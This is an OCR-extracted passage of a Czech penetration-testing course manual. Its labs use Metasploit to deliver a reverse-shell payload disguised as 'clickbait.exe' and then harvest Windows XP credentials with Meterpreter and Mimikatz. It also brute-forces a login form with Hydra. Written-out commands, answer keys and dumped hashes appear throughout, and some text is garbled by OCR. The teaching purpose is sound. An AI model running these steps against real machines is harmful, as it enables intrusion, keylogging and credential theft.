V pripadé této ulohy lze piikaz zapsat nasledujicim zplisobem. Bude se jednat o typ
payloadu, ktery je definovan takto: windows/meterpreter/reverse_tcp. Jedna se
o jeden z nejsilnéjsich nastrojii frameworku Metasploit, ktery umoZziiuje uto¢nikovi

provadét na cilovém pocitaci sniffing, keylog, kontrolovat filesystem, mikrofon ¢i
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webkameru. Dovoluje vSak i nacitat rlizné moduly nebo dalsi néstroje, jako je napft.
Mimikatz vyuzity v ramci tohoto labu.

Jedna se také o defaultni typ payloadu pro pocitate s operacnim systémem
Windows. DalSim parametrem, ktery je nezbytny definovat je lhost. Zde je nutné
nastavit IP adresu pocitace (v pripadé tohoto labu IP adresa pocitace se systémem
Kali Linux), na kterém bude provadéno odposlouchavani. V ramci tohoto labu neni
nutné specifikovat port. DalS$im parametrem je typ souboru. JelikoZ tento soubor
bude reprezentovat spustitelny soubor staZitelny napf. na fiktivni webové strance
zkonstruované uto¢nikem, bude se jednat o spustitelny soubor typu exe.

V posledni ¢asti prikazu bude definovan vystupni soubor a jeho umisténi. Soubor

bude umistén na adrese /var/www/html/clickbait.exe.

Otazka ¢.2 Sestavte prikaz pro vytvoreni souboru s payloadem dle informaci

zminénych v predchozim odstavci.

Spusténi http service pro umisténi $kodlivého souboru

Dal8im krokem je spuSténi http service potiebné pro napodobeni fiktivni webové
stranky vytvorené uto¢nikem. V tomto pripadé se bude jednat jen o uvodni welcome
page serveru apache2, kam bude nasledné nahran Skodlivy soubor. V redlném
pripadé by na serveru byla nahrana fiktivni webova stranka, ktera by méla za ukol
uzivatele presvédcit o své vérohodnosti. Server apache2 lze spustit jednoduse,
pomoci zadani prikazu service apacheZ2 start do piikazové radky s elevovanymi
privilegiemi. Ovéreni spravné funkcnosti http service je jednoduché. V cilovém

pocitaCi (pocitaci s operatnim systétmem Windows XP) stali spustit webovy
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prohliZe¢ a zadat do néj IP adresu uto¢nikova pocitace. Pokud dojde k presmérovani

na welcome page serveru apache2, service funguje v poradku.

2 Apachez Debian Default Page: It works - Microsoft Internet Explorer = {Il;_q
Fle Edt View Favorkss Took Help u
ek - () - (x| B 0 ) seach o ppavitss £ | - i 3

Address [{€] hipijf132.165.56. 101/ B ks |

@ Apache2 Debian Default Page

debian

nstallation on Debian sys s, If you car

at this site is working properly. You should replace thi
before continuing to operate your HTTP server

If wou are a normal user of this web site and don't know what this page is about, this probably means

that the site is currently unavailable due to maintenance. If the problem persists, please contact the
sire's administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split in
several files optimized for interaction with Debian tools, The configuration system is fully documente:
in fusr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation,
Documentation for the web server itself can be found by accessing the manual if the spachez-doc
package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows _J:J
o | y

€] Done O Internet
i start| B C\WINDOWS\system3Z... || & | Apachez Debian Defa... N 99 A

Obrazek 13 Presmérovani na welcome page
po zadani IP adresy utocnika.

Ziskani kontroly na uZivatelovam PC

Po spuSténi http service je jiz zaklad pro utok pripraven. Nyni je moZné pomoci
prikazu msfconsole spustit konzoli nastroje Metasploit. Po spuSténi msfconsole je
nutné nastavit multi handler.

Funkce multi handleru je takova, Ze za uto¢nika spravuje exploit a prezentuje mu
shell. Spusténi multi handleru probéhne po zadani prikazu use multi/handler
do konzole. Po zadani prikazu se objevi hlaska, Ze je vyuzivan jiny payload, neZ ten,
ktery byl definovan vySe. Je tedy nutné ho zménit pomoci prikazu set PAYLOAD
windows/meterpreter/reverse_tcp. DalSim krokem, stejné jako v prikazu vySe, je
nutnost nastavit [host. Ten zde bude nastaven na lokalni IP adresu, tedy 0.0.0.0.
Prikaz bude vypadat nasledovné set LHOST 0.0.0.0. Nasledné je moZné utok spustit
po zadani prikazu exploit do CLI. Pak jiZ ito¢nikovi zbyva jen ¢ekat, dokud si uZzivatel

nestahne a nespusti Skodlivy soubor z fiktivni webové stranky.
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Nyni je nutné prepnout na virtualni pocita¢ se systétmem Windows XP a zde zadat
do URL adresy prohlizece 192.168.56.101 /clickbait.exe oznacujici adresu fiktivni
webové stranky a nazev souboru (v realném pripadé by se mohlo jednat napf. o URL
adresu tlacitka pro staZeni souboru). UZivatel mlZe soubor stdhnout ¢i rovnou

spustit, ¢imzZ se uto¢nikovi otevie session a ziska tak pristup k uzivatelové pocitaci.

) Apache? Debian Default Page: It works ;I%I%I
File  Edit F Ites s Hel 0"
Oﬁa(k - - u.'| .5 :‘. /VISewch ‘:_"ﬂ' Favorites {4} - .?, 3

Address [ ] hetp:jj192.168.56 101 fcickbait.exe

©

debian

Apache2 Debian Default Pa

File Download - Security Warning

ae
x|

Do you want to run or save this file?

This is the default welcc j
installation on Debian s\
at this site is working pr
before continuing to op

If you are a normal use

Narne: chickbalt exe
Type: Application, 72.0 KB
From: 192.168.56.101

Bun Save

che2 server after
ache HTTP server install
mrvr/ hetral / ind e, hitml )

ut, this probably means

that the site is currenthy
site's administrator

‘While files fiom the |ntemet can be useful, ths file type can

ts, please contact the

@

Debian's Apache2 default configuration is different from the upstream default configuration, and split in
several files optimized for interaction with Debian tools. The configuration system is fully documente:
in fusr/share/doc/apache? /README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the epache2-doc
package was installed on this server,

potentially ham your computer. If you do not tust the source, do not
1un or save this software. What's the risk?

The configuration layout for an Apache2 web server installation on Debian systems is as follows: -
4 ] i
[&] Done T T T [ inkenet
djsurt| B C\WINDOWS!system32. ., | & | Apache Debian Defalt ... ‘ 4 File Download ‘@ @ 12:12PM

Obrazek 14 StaZeni souboru po zadani URL adresy
vedouci k souboru.

Exploit uzivatelova PC

V tuto chvili ma jiZ utoc¢nik plnou kontrolu nad uZzivatelovym PC. Jak je moZné vidét
na obrazku niZe (viz Obrazek 16), byla oteviena session z pocCitaCe s adresou
192.168.56.101 (uto¢nikiv pocitac) do pocitace s adresou 192.168.56.102 (pocitac

uzivatele) na portu -0400.

msf6 exploit(

) » exploit

44 — 192.168.56.102:1117) at

meterpret

Obrazek 16 Otevieni session mezi pocitaci.

Jak je naznaCeno na obrazku (viz. Obrazek 16) dale vidét, doSlo ke spusSténi
interaktivniho shellu s nazvem meterpreter pomoci kterého je moZné spoustét
jednotlivé exploity. Napovédu pro meterpreter lze spustit jednoduSe zadanim

prikazu help.
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Nyni je mozné vyzkouSet nékteré z funkci meterpreteru. Prvni funkci je funkce
screenshare. Po spuSténi prikazu screenshare dojde na uto¢nikové pocitadi
k otevieni prohlizece, ve kterém je spuSténo video s aktualnimi streamem
obrazovky cileného pocitace. Dale zde Ize nalézt informace o tom, kdy byl stream
spuStén ¢i jaka IP adresa je momentalné prehravana. Stream lze ukoncit jako

jakykoliv jiny bézici prikaz v CLI a to pomoci stisknuti klaves CTRL + C.

tasploit screenshare - 19 % Metasploit screenshare < Metasploit screenshare - 1

C @ D file:///home/kali/aNIfYKAZ html w ® =

KaliLinux @ KaliTools # KaliDocs N Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Target IP : 192.168.56.102
Start time : 2023-07-31 06:38:17 -0400
Status Playing

| 2 Apachez Debian Defa
Q) bk - « 3 4 search ' Fovortes TN

Addvess [@] hitp://192.168.56.101 chbak exe 0w |us >

2/README Debian on
n b i b anual ¢ apache2-doc

-atic t for a »ache2 web server installation on Debian systems is as follows
il | s

&]0ere © Internet

o start| | gy C:\ £ Apache2 Dx VD 1238

www.metasploit.com

Obrazek 17 Stream uzivatelovi obrazovky
v prohliZeci utocnika.
Dal$im nastrojem je nastroj pro sledovani uZivatelova pohybu po klavesnici. To
miiZe byt zneuZito napiiklad pfi odposlouchavani prihlaSovacich udaji do uctt
uzivatele apod. Odposlouchavani klavesnice lze spustit pomoci prikazu
keyscan_start. Nasledné je nutné prepnout se do uZzivatelova pocitace a zde spustit
libovolny textovy dokument a do néj napsat néjaky testovaci text. Po pfepnuti zpét
do utoc¢nikova pocitace staci zadat prikaz keyscan_dump, ktery do konzole vypiSe
veSkeré znaky, které byly na klavesnici zaznamenany od posledniho vypsani dumpu.
Dump lze také ulozit do souboru pomoci bézného CLI prikazu

> ndzevSouboru.txt.
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Zakladni funkce s nastroji meterpreteru byla jiz nastinéna. Tento lab je vSak
zaméfen na ziskani a prolomeni uZivatelovych hesel a vSech ostatnich hesel

obsaZenych v paméti pocitace s operacnim systémem Windows XP.

Ziskani hesel z uzivatelova PC

K ziskani hesel z uZivatelova PC slouZi dva rtizné zplisoby. Prvnim zpiisobem lze
ziskat hashe vesSkerych uZzivateli, ktefi kdy byli prihlaseni k danému PC. Pomoci
druhého zptlisobu lze ptimo do konzole vypsat hesla téchto uZivatelli v plaintextu.

Prvni metoda je jednodussi a miliZe byt vyctena z manudlu pro nastroj meterpreter.

Otazka €. 3 Pomoci jakého piikazu lze vypsat prihlaSovaci tidaje uZivateldi, kde hesla

jsou v zahaSované podobé?

Pomoci prvni metody byla ziskana hesla v podobé uvedené na obrazku nize (viz
Obrazek 18). Hesla v této podobé je moZné uloZit do utocnikova pocitaCe a nasledné
se pokusit tato hesla prolomit napfiklad pomoci itoku hrubou silou. K ttoku hrubou
silou je mozné vyuZit nastroje systému Kali Linux, jako jsou nap¥. John the Ripper ¢i

Hashcat.

admin:1@
Adminis

Obrazek 19 Hesla vypsana pomoci nastroje meterpreter.

Druhym zptlisobem, jak ziskat hesla z uZivatelova pocitaCe, je pomoci nastroje
mimkatz. Aby mohly byt funkce nastroje Mimikatz pouZité uvnitf nastroje
meterpreter, je nutné Mimikatz nejdrive nacist. To je provedeno pomoci zadani
prikazu load mimikatz. Zaroven je pro spusténi prikazu, ktery vypiSe informace
o uZzivatelich systému, nutné, aby mél uto¢nik nastaven autoritu SYSTEM. Aktualni

informaci o opravnéni lze ziskat pomoci prikazu getuid. Jak nastavit vy$si opravnéni

1ze zjistit v manualu po zadani prikazu help do CLIL

Otazka €. 4 Jaky je prikaz pro zvySeni opravnéni lokalniho systému?
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Po o nastaveni autority na opravnéni na urovni SYSTEM je moZné spustit prikaz
creds_all, jenZ vypiSe veSkeré informace o uZivatelich, jejich skupinach, a dokonce
i hesla. Hesla jsou zde vypsana v podobé hashii (v horni ¢asti viz. Obrazek 20)
i v podobé plaintextu (stiredni a spodni ¢asti viz. Obrazek 20).

meterpreter > creds_all
[+] Running as SYSTEM

Retrieving all credentials

msv credentials

Username
Administrator
Guest
WINDOWSXP$
admin

user

Domain

WINDOWSXP

WINDOWSXP

WORKGROUP

WINDOWSXP

WINDOWSXP

wdigest credentials

Username

Administrator
Guest
WINDOWSXP$
admin

user

Domain

WINDOWSXP
WINDOWSXP

kerberos credentials

Username

(null)
Administrator
Guest
WINDOWSXP$
admin

user
windowsxp$

Domain

(null)

WINDOWSXP
WINDOWSXP
WORKGROUP
WINDOWSXP
WINDOWSXP
WORKGROUP

LM

;;12498690b83bfbaad3b&35b5lhﬁhee
aad3b435b51404eeaad3b435b51404ee
aad3b435b51404eeaad3b435b51404ee
fod412bd764ffe8laad3b435b51404ee

22124ea690b83bfbaad3b435b51404ee

Password

user
(null)
(null)
admin
user

Password

(null)
user
(null)
(null)
admin
user
(null)

NTLM

;;;;8333A5ﬁ57150233dhbb7ae309c70
31d6cfe@d16ae931b73¢c59d7e0c089c0
31d6cfe@d16ae931b73c59d7e0c089c0

209c6174das90caebs22f3fa5a7ae634

57d583aa46d571502aad4bb7aea0@9c70

SHA1
d3992df679a3ef8b96232992ff89a2b1f1db5
534
da39a3ee5e6b4b0d3255bfef95601890afds8e
709
da39a3ee5e6b4b0d3255bfef95601890afd8e
709
7c87541fd3f3ef5016e12d411900c87a6046a
8e8
d3992df679a3ef8b96232992ff89a2b1f1db5
534

Obrazek 20 Vypis po zadani prikazu creds_all.
Takto ziskané informace miiZe uUto¢nik nasledné pouZit napt. k prihlaSeni do
systému pomoci administratorskych prav a ziskat tak plnou kontrolu nad
systémem. Na tomto prikladé je tedy vidét, Ze uto¢nikovi sta¢i se zmocnit jednoho
uzivatelského pocitace v dané organizaci, na kterém se nékdy v minulosti prihlasil

i administrator, a tim ziska tito¢nik veskeré informace i o administratorovi.

7.3.2 Zavér Lab ¢. 2

vivs

Lab ¢&. 2 popisoval jiZ sloZitéj$i postupy p¥i prolamovani hesel. Regitel se p¥i Feseni
labu seznamil s nastrojem pro penetracni testovani Metasploit a také s nastrojem
Mimikatz. V ramci labu se reSitel pokusil z pohledu hackera vyreSit modelovou
situaci, kdy jeho ukolem bylo ziskat pristup do uZivatelova pocitate pomoci

takzvané navnady a nasledné po ziskani pristupu do pocitace zjistit co nejvice
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informaci z uZzivatelova pocitace. Hlavnim cilem bylo pomoci nastroje Mimikatz
ziskat hesla vsech uzivateld, ktefi se kdy na dany pocitac prihlasili.

Uloha byla konstruovana tak, aby Fesitel ziskal informaci o nastrojich umoZiujicich
ziskat kontrolu nad uZivatelovym PC, ktery se nachazi ve stejné siti. Dal$im ucelem
labu bylo poukézat na to, jaké diisledky miiZze mit staZeni a spusSténi souboru
snavnadou na fiktivni webové strance a jak jednoduché bylo ziskat hesla

v plaintextu na platformé Windows XP.
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Reseni otazek Lab ¢. 2
Otazka ¢€.1 Proc¢ neni moZné provést pozadavek ping z pocitace s OS Kali Linux?
Respektive pro¢ po zadani ping 192.168.56.102 v pocitaci s OS Kali Linux dojde
k time-outu?

Odpovéd’ €. 1 Na systému Windows XP je nutné vypnout firewall.

Otazka ¢.2 Sestavte prikaz pro vytvoreni souboru s payloadem dle informaci
zminénych v predchozim odstavci.

Odpovéd' ¢. 2

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 -f exe >
/var/www/html/clickbait.exe

Otazka €. 3 Pomoci jakého piikazu lze vypsat prihlaSovaci tidaje uZivateldi, kde hesla
jsou v zahaSované podobé?

Odpovéd’ €. 3 hashdump

Otazka €. 4 Jaky je prikaz pro zvySeni opravnéni lokalniho systému?

Odpovéd’ ¢. 4 getsystem
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7.4 Lab ¢. 3— On-line utok pomoci nastroje Hydra a Medusa

Lab ¢. 3 je zaméfen na pouZiti nékolika vestavénych nastrojii opera¢niho systému
Kali Linux. Pokud jsou splnény veSkeré kroky z kapitoly Spole¢tné pozadavky, jsou
nastroje pouzité v tomto labu jiZ predinstalované ve virtualnim pocitaci.

Potfebné nastroje:

e Hydra
e Medusa

e DBurpsuite
Dal8i potrebné atributy:

e vramci této ulohy bude zapotiebi pripravit webovou stranku s fiktivnim
prihlaSovacim formularem

e dale bude vtéto uloze zapotrebi zainstalovat novy virtudlni pocitac
s opera¢nim systémem Lubuntu, ktery bude slouzit jako cilovy pocita¢ pro

utok
Casova naroc¢nost: 40 az 50 minut.

Cil ulohy
Cilem tohoto labu je seznamit feSitele s nastroji pro on-line prolamovani hesel
s nazvem Hydra a Medusa. Pomoci nastroje Hydra budou ziskany prihlaSovaci udaje
k uctu na fiktivni webové strance. Nastroj Medusa bude slouzit k ziskani pristupu
k pocitaci nachazejicimu se ve stejné siti. Jako slovnikova baze bude pro oba nastroje
pouZit slovnik rockyou. Hesla do u¢ti budou konstruovana tak, aby byla slovnikem

rockyou prolomena.

Seznameni s nastroji
Hydra je nastroj obsaZeny v zakladni sadé nastrojt Kali Linux. SlouZi k prolamovani
hesel pomoci on-line ttokl (Gtoci na Zivy systém). Tercem pro nastroj Hydra miiZe
byt napf. webova stranka, router ¢i pocita¢ nachazejici se ve stejné siti. Jako typ

utoku je vyuZzivan utok hrubou silou zaloZeny na preddefinované bazi uzivatelskych
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jmen a hesel, jejichz kombinace jsou nasledné zkouSeny oproti systému, na ktery je
utok cilen.

Medusa je dalsi ze zakladni sady nastrojii Kali Linux, ktery je zaméfen na on-line
prolamovani hesel. Hlavni vyhody Medusy jsou rychlost, velka moZnost paralelizace
a modularita. Vlabu ¢. 2 bude tento nastroj vyuzit k modelovani druhé Ccasti
fiktivniho use-case. Ten bude zaméfen na prolomeni pristupu do pocitace
nachézejiciho se na stejné siti, jako je uto¢nikliv pocitac.

Burpsuite je nastroj systému Kali Linux, ktery umoZiiuje testovani webovych
aplikaci. Obsahuje fadu nastroji pro monitorovani a testovani obsahu na webovych
strankach. Kombinuje metody manualniho a automatického testovani. V tomto labu
bude pouZita jen funkce pro monitorovani requestii a odpovédi vramci http

protokolu.

Fiktivni use case

7

Modelova situace mliZe mit nasledujici scénar. Cilem reSitele je ziskat pristup do
uctu na fiktivni webové strance (napf. z divodu, Ze ucet vlastni subjekt, ktery
spachal trestnou ¢innost a na daném tuctu se mohou nachézet dileZité informace).
Pro feSeni této casti bude pouZit nastroj Hydra. V ramci tohoto labu vSak nejsou
uvazovana zabezpeceni ucty, jako je napriklad urcity pocet povolenych pokusti, nez
dojde k zablokovani moZnosti prihlaSeni na urc¢itou dobu. Tyto skutecnosti by pouze
navySovaly ¢as potirebny k realizaci labu.

Druha cast fiktivniho use-case bude navazovat na téma casti prvni. Opét se bude
jednat o skute¢nost, Ze je nutné prolomit prihlaSovaci udaje do pachatelova uctu.
V tomto pripadé se vSak nebude jednat o ucet na webové strance, nybrz o ucet pro
piistup do pachatelova po&itate. Re$itel pouZije pro prolomeni piistupu do

pachatelova pocitace nastroj Medusa.

Nastaveni potiebné pro provedenilabu

Prvnim krokem, ktery je nutné vykonat, je zainstalovani nového virtualniho
pocitace. Pro tuto ulohu byl zvolen operacni systém Lubuntu zaloZeny na systému

Ubuntu. Diivodem volby tohoto operacniho systému je jeho jednoduchost a nizké
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pozadavky pro béh systému. Systém je moZné stahnout na strance

https://lubuntu.me/downloads/.

Samotné zainstalovani je pak velmi jednoduché. V programu VirtualBox je nutné
kliknout na tlac¢itko ,Novy“ a v nasledném dialogu vybrat ISO image stazeného
systému Lubuntu. VirtualBox sam vybere typ a verzi systému, takZe virtudlnimu
pocitali staci priradit nazev a pokracovat. V nasledujicim okné je nezbytné zvolit
velikost prirazené operatni paméti a pocet vlaken procesoru (tato volba je zavisla
na dostupnych prostredcich fyzického pocitace). Dale sta¢i zvolit pouze
prednastavenou volbu vytvoreni virtualniho disku a dokoncit instalaci pocitace. Po
spusténi pocitace dojde k nabootovani opera¢niho systému. Nasledné je nutné na
ploSe spustit instalaci opera¢niho systému. Pokud by nebyla provedena instalace,
tak by operac¢ni systém fungoval pouze v testovaci verzi a nebylo by moZné v ném
pracovat s nékterymi funkcemi. Navic by se pfi vypnuti a opétovném zapnuti
systému neukladala data na disk. Po dokonceni instalace je moZné systém spustit
a pokracovat dalSim krokem pro pripravu labu.

Druhym krokem je vytvoreni fiktivni webové stranky s formularem, ktery bude
v labu prolamovan. Webova stranka s formulafem se nachazi zde (viz GitHub
repozitar > Lab c. 3 > login.php). Nasledné je tieba spustit apache2 server, na kterém

bude dostupna fiktivni prihlaSovaci stranka.

Otazka €. 1 Pomoci jakého piikazu lze spustit server apache2?

Po spuSténi serveru je potieba vloZzit soubor login.php a logout.php do adresare
serveru. Premisténi souboru z plochy do cilového adresare lze zajistit pomoci
prikazu sudo mv login.php /var/www/html. To, Ze je soubor dobfe umistény a server
funguje spravné, je moZzné ovérit po zadani nasledujici URL adresy do prohliZece:
192.168.56.101/login.php. Po nacteni stranky by se mél objevit formulari s dvéma
inputy pro login a heslo. Funktnost formulare lze ovérit pomoci zadani
prihlasovacich ddaji. Pokud jsou zadany spravné, je uZivatel presmérovan na
stranku s informaci o uspéSném prihlaseni. Pokud je prihlaseni neuspésné, objevi se
hlaska: ,Wrong username or password“. Hesla pro prihlaSeni do webové stranky

i virtualniho pocitace jsou nasledovna:
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Tabulka 4 Hesla pro prihlaseni do webové stranky a OS Lubuntu.

Platforma Nazev uctu Heslo
Webova stranka user1234 qwerty1234
Virtualni poCitaC | nastaveny username pfi instalaci qwerty

7.4.1 Vlastni postup Lab ¢. 3

Prvnim krokem labu je ujiSténi se, Ze webovy server funguje spravné a nachazi se na
ném webova stranka login.php. Prvni ¢ast labu je mozné provadét na reSitelové
hlavnim virtualnim pocitaci se systémem Kali Linux. Pro druhou ¢ast labu je nutné

spustit i druhy virtualni stroj, tedy pocitac se systémem Lubuntu.

7 w7z

Prvni ¢ast ulohy - prolamovani uzivatelského jména hesla na fiktivni
webové strance pomoci nastroje Hydra
Obecny priikaz pro pouZziti nastroje Hydra se vSemi dostupnymi parametry je

pomeérné komplexni a miiZe vypadat takto:

hydra [-1 LOGIN | -L FILE] [-p PASSWORD | -P FILE] [-u] [-f] [IP adresa] [-s PORT] [MODUL]
[url] : [parametry formulare] : [podminény string].

V prikazu je nejprve definovan nastroj Hydra. Hned za definici nastroje Hydra
nasleduje sekce sftetézci pro testovani prihlasovaciho jména, kde miiZe byt
definovan jeden retézec pomoci malého pismena -/ nebo soubor pomoci velkého
pismena -L. DalSi ¢ast definuje heslo, resp. soubor obsahujici hesla. V tomto pripadé
je definice obdobna jako u uZivatelského jména, jen misto pismena / je definovano
malé pismeno jako -p a velké pismeno jako -P. Dal$im parametrem je -u, pomoci
kterého je mozné formulovat, zda bude pouzito kazdé uzivatelské jméno pro
vSechna moZna hesla. Parametr -f zastavi proces hledani hesla v pripadé, Ze je
prolomeno prvni heslo. Do prikazu je nutné doplnit IP adresu nebo jméno domény
vybrané webové stranky. Parametr -s specifikuje port webové stranky. Modul
definuje nastroji Hydra konkrétni modul vybrany k utoku (http, ssh,...). Posledni
¢ast prikazu se odviji od vybraného modulu. Tento konkrétni pitiklad odpovida

vyuziti modulu http, se kterym se bude pracovat v ramci této ¢asti labu.
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Priklad pouziti nastroje Hydra na reSeni Labu ¢.3

Dle popisu parametrii nastroje Hydra v pfedchozim odstavci je moZné sestavit
konkrétni prikaz pro prolamovani hesel na fiktivni strance. Jak bylo zminéno, pro
prolamovani bude pouzit slovnik rockyou. Je tedy nutné se ujistit, zda je v systému
Kali Linux obsaZen. Pomoci prikazu Is -lh /usr/share/wordlists/ 1ze vypsat veSkeré
slovniky, které se v této sloZce nachazeji. Baze pro uZivatelska jména je definovana
pomoci malého pismena -I (cilem je prolomit ucet pachatele, jehoZz prihlasovaci
jméno je znamo (user1234)). Parametr hesla je formulovan pomoci velkého
pismena -P, protoZe baze tohoto udaje je zadana pomoci souboru. Dale je do prikazu
pridan parametr -f ktery specifikuje, Ze ve chvili, kdy bude nalezen odpovidajici par,
se béh nastroje zastavi. Jako dal$i parametr je obsaZena IP adresa, na které je
spustén server apache2, tedy 192.168.56.101. Nasledné je uveden parametr
zastupujici pouzitou metodu (htt-post-form).

Posledni parametr lze rozdélit do vice jednotlivych ¢asti. V prvni ¢asti je definovana
konkrétni adresa na stranku s formularem, tedy /login. Nasleduje oddélovac, ktery
je zastupovan znakem ,.:“. Nyni je nutné vyuZit nastroj Burpsuite, ktery umozZiuje
zjistit idaje o nazvech proménnych souvisejicich s prihlaSovacim jménem a heslem.
Proménné je nutné znat, protoZe pomoci nich nasledné nastroj Hydra kontroluje
testovaci udaje oproti zadanym udajim.

Po spuSténi nastroje Burpsuite je nutné se prekliknout do zalozky ,Proxy*
a prepnout tla¢itko do polohy ,Intercept is on“. Dals$im krokem je nastaveni proxy
(potfebné pro zachytavani zmén na strankach nastrojem Burpsuite) v prohliZeci
Mozilla pomoci kliknuti na tlac¢itko ,Settings“ a zadanim klicového slova ,,proxy“ do
vyhledavaciho pole. Po rozkliknuti nabidky je tfeba zaSkrtnout radio button

»,Manual proxy configuration“ a zadat do pole ,HTTP Proxy“ hodnotu lokalniho
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stroje, tedy 127.0.0.1 a port 8080. Nastaveni v prohliZeci je ukazano niZe na obrazku

(viz Obrazek 21).

Connection Settings

Configure Proxy Access to the Internet

Also use this proxy for HTTPS

HTTPS Proxy

Obrazek 21 Nastaveni proxy v prohlizeci.

Dal8im krokem je prejit na stranku s loginem a odeslat libovolné vyplnéni formular.

Po odeslani vyplnéného formulafe stranka na prvni pohled ziistane ve stavu

nacitani. V tu chvili je potfeba v nastroji Burpsuite kliknout na tlacitko ,Forward®,

¢imZ se do nastroje nactou dalSi udaje (viz Obrazek 22).

Burp  Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer
HTTP histery WebSockets history {5} Proxy settings

ﬁ Request to http://192.168.56.101:80

Forward Drop Interceptis on Action Open browser

Raw Hex

POST /login.php HTTP/1.1
Host: 192 .168.56.101

Content-Length: 36

Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://192 168.56.101

Content-Type: application/x-www-form-urlencoded

oW

Logger Extensions Learn

= Ul

2 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64. x64) AppleWebKit/S537.36 (KHTML, like Gecko) Chromef113.8.5672.93 Safari/537.36

9 Accept:

text/html, application/xhtml+xml, application/xml;q=@.9, 1mage/avif, image/webp, image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.7

18 Referexr: http://192.168.56.101/login.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9

13 Cookie: PHPSESSID=rpt6&@batpihieldglhr5etci?j
14 Connection: close

16 username=jkhk&password=khjkjh&login=

Obrazek 22 Vystup z programu Burpsuite po zprocesovani odeslaného

formulare.

Ve spodni ¢asti obrazku (viz Obrazek 22) je mozné vidét proménné, které budou

nasledné potiebné pro nastroj Hydra.

Otazka €. 2 O jaké proménné se jedna?
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Pokud jsou jiZ znamé proménné, je moZné vypnout nastroj Burpsuite a také
nastaveni proxy v prohliZe¢i. Proménnym v pfikazu budou definovany hodnoty
username=user1234 (zde neni nutné specifikovat proménnou, protoZe uZivatelské
jméno je znamo a je mozné ho zadat napevno). Poté nasleduje oddélovac ,&"“
a proménna pro heslo password="PASS”. Dale je pouZzit opét oddélovac ,:“.
V posledni casti prikazu se definuje situace reprezentujici spravné nalezeni hesla.
Obecné je moZné tuto situaci nastavit tak, aby reagovala napiiklad na presmérovani
nebo zménu obsahu na strance. V tomto pfipadé bude ale hledani hesla pokracovat
tak dlouho, dokud bude na strance zobrazena hlaska ,Wrong username or
password“. Pokud tato hlaska na strance nebude obsaZena, znamena to, Ze doSlo
k pozitivni zméné stranky, tim padem je heslo validni a hledani tak miiZe byt

ukonceno.

Otazka ¢. 3 Jak bude, dle informaci zjisténych v predchozich odstavcich vypadat

prikaz pro spusténi nastroje Hydra?

Po zjiSténi veSkerych informaci je moZné spustit piikaz v CLI. JelikoZ se porovnava
cely slovnik rockyou pro dané heslo, miiZe hledani spravného vysledku zabrat aZ cca
5 minut. Na obrazku niZe (viz Obrazek 23) je znazornén vysledek uspésného

nalezeni hesla pomoci nastroje Hydra.

fwordlists/rockyou.txt 2.16 101 http-pos

in military or secr

task
g username or password

) finished at 2 8-01 11:56:15

Obrazek 23 Vysledek uspésného nalezeni hesla pomoci nastroje rockyou.

Prolamovani hesla ke vzdalenému pocitaci pomoci nastroje Medusa

Prvni Cast, ktera byla zamérena na prolamovani hesel pomoci on-line utoku na
fiktivni webovou stranku, byla vyteSena v predchozi ¢asti labu. DalSim ukolem je

zkonstruovat dal$i on-line utok, ktery v§ak bude zaméren na prolomeni pfistupu do
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jiného pocitace nachazejicitho se ve stejné siti jako reSitelliv pocitac. K feseni této

ulohy bude vyuZit nastroj opera¢niho systému Kali Linux s nazvem Medusa.

Priprava virtualnich PC

Nejdrive je nutné pripravit virtualni pocita¢ s opera¢nim systémem Lubuntu. Zde je
v prvnim kroku potreba doinstalovat ssh modul. V modelové situaci je mozné
predpokladat, Ze uzivatel vyuziva ssh napriklad pro jednoduchou komunikaci mezi
svymi pocitaci. Pro spravné nainstalovani musi byt nastaveni sité ve VirtualBoxu
prepnuto na ,NAT“. Diky tomu ma virtualni pocitac¢ pristup kinternetu a je tak
mozné pri instalaci modulu ssh doinstalovat veSkeré potrebné balicky.
K nainstalovani modulu jsou potfeba elevovana uZzivatelska prava (pred samotny
prikaz je nutné zadat parametr sudo). Vysledny prikaz pak vypada takto: sudo apt-
get install ssh. Po nainstalovani je moZné ovérit status ssh (zda je aktivni ¢i nikoliv).
To je moZné zjistit zadanim prikazu systemctl status ssh do CLI. V ptipadé, Ze ssh neni
aktivni, 1ze ho aktivovat prikazem sudo service ssh start. Pomoci stejnych piikazi je
mozné také ovérit, zda je ssh nainstalovano a spus$téno i na virtualnim pocitaci se
systémem Kali Linux.

~

status ssh
® ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; disabled; preset: disabled)
Active: active (running) since Wed 2023-08-02 ©05:23:22 EDT; 1s ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 52723 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 52724 (sshd)
Tasks: 1 (limit: 9436)
Memory: 2.8M
CPU: 12ms
CGroup: /system.slice/ssh.service

Aug 02
Aug 02
Aug 02
Aug 02

kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
kali sshd[52724]: Server listening on 0.0.0.0 port 22.

kali sshd[52724]: Server listening on :: port 22.

kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

NNNN
www

w
NMNNN

NNNN

Obrazek 24 Spravné bézici ssh (po zadani prikazu systemctl status ssh).

Pokud je ssh nainstalovano a spu$téno na obou virtualnich pocitacich, je mozné pro
oba pocitate opét zménit nastaveni sité ve VirtualBoxu (tentokrat na ,Sit pouze
s hostem"). Pro dalSi postup ulohy je nutné vypnout firewall na pocitaci se systémem

Lubuntu zadanim ptikazu sudo ufw disable do CLI. Virtualni pocitace jsou nyni
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pripraveny a je moZné postoupit k samotnému reSeni tlohy, tedy prolamovani hesla

k pocitaci pomoci nastroje Medusa.

Prolamovani pristupu k PC pomoci nastroje Medusa

Nyni bude utok probihat jiZ pouze z pocitace reSitele (v ramci modelového use-case
v roli penetra¢niho testera, jehoZ ukolem je prolomit heslo do pocitaCe pachatele).
